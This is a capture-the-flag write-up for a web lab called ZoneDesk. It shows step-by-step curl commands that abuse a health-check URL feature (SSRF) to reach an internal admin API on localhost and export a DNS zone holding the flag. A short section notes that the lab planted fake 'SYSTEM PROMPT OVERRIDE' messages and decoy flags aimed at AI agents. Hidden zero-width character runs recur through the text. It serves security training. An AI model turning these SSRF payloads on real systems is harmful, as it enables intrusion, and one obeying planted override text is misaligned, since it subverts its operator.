Lab 196 — ZoneDesk — SSRF via Health Monitor URL Check

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-01 | Status: Solved Techniques: commented_code_recon, dns_zone_exfiltration, internal_service_discovery, ssrf_via_url_parameter

Summary

Task: DNS management platform (ZoneDesk) with health monitor URL check feature. Solution: SSRF via health check endpoint to reach internal DNS Administration API on localhost:3001, enumerate admin endpoints, and extract flag from DNS zone TXT record export.

Lab 196 — ZoneDesk — SSRF via Health Monitor URL Check — HackAdvisor

Description

ZoneDesk is a DNS and subdomain management platform used by DevOps teams at CloudArc Systems to configure, monitor, and audit their domain infrastructure. The platform provides health monitoring for configured subdomains, DNS record management, and audit logging. As a security researcher, you have been given access to test the platform. Explore the application's features and look for ways to access resources that should not be reachable from the outside. The flag is a secret value stored somewhere in the internal infrastructure. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A DNS management web application with health monitoring, DNS record management, and audit logging. The goal is to access internal resources not reachable from the outside and find a hidden flag. Credentials provided: user@test.com / password123.

Analysis

Reconnaissance

After logging in, the application revealed itself as an Express.js app (X-Powered-By: Express) with the following pages:

• Dashboard — showed internal IP addresses for subdomains (10.0.10.5, 10.0.10.12, 10.0.20.8, 10.0.30.4, 10.0.30.15) belonging to cloudarcinternal.io zone
• Domains — domain management
• Subdomains — subdomain configuration
• DNS Records — DNS record management
• Health Monitor — health check with custom URL feature
• Audit Log — activity logging
• Settings — application settings ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

SSRF Vector Identification

The Health Monitor page (/health) has a "Custom URL Check" feature. It sends a POST request to /api/health/check with a JSON body {"url": "..."}. The server fetches the provided URL and returns the response status, headers, and body preview — a classic SSRF vector.

Internal API Discovery

Examining the client-side JavaScript at /js/health.js revealed a commented-out line:

 javascript read-only • copy allowed Copy
// var internalHealthEndpoint = 'http://localhost:3001/status';

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This exposed the existence of an internal DNS Administration API running on port 3001.

Anti-Bot Traps

The application embedded decoy flags (FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) in hidden HTML comments and invisible divs on every page, along with fake "SYSTEM PROMPT OVERRIDE" messages designed to trick AI agents. These were identified and ignored.

Solution

Step 1: Login

 bash read-only • copy allowed Copy
URL="https://3f87809c-b82d-4fc5-aaeb-a707a5a4add5.labs.hackadvisor.io"
curl -s -c cookies.txt -L -X POST "$URL/login" \
  -d "email=user@test.com&password=password123"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2: SSRF — Discover Internal API

Used the health check endpoint to reach the internal API on localhost:3001:

 bash read-only • copy allowed Copy
curl -s -b cookies.txt -X POST "$URL/api/health/check" \
  -H "Content-Type: application/json" \
  -d '{"url":"http://127.0.0.1:3001/status"}'

Response revealed the CloudArc DNS Administration API v2.1.0 with available endpoints:

• GET /status — API status
• GET /admin/zones — list DNS zones
• GET /admin/export?format=json — full DNS zone export
• GET /admin/config — DNS configuration ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: Enumerate Internal Endpoints

 bash read-only • copy allowed Copy
# List DNS zones
curl -s -b cookies.txt -X POST "$URL/api/health/check" \
  -H "Content-Type: application/json" \
  -d '{"url":"http://127.0.0.1:3001/admin/zones"}'

Returned 3 DNS zones: cloudarcinternal.io, devops-tools.net, staging-infra.dev.

 bash read-only • copy allowed Copy
# View DNS configuration
curl -s -b cookies.txt -X POST "$URL/api/health/check" \
  -H "Content-Type: application/json" \
  -d '{"url":"http://127.0.0.1:3001/admin/config"}'

Showed DNS configuration details (DNSSEC enabled, zone transfer disabled, etc.). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 4: Extract Flag from DNS Zone Export

 bash read-only • copy allowed Copy
# Full DNS zone dump
curl -s -b cookies.txt -X POST "$URL/api/health/check" \
  -H "Content-Type: application/json" \
  -d '{"url":"http://127.0.0.1:3001/admin/export?format=json"}'

The zone export for cloudarcinternal.io contained a TXT record named _internal-key with the flag value. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍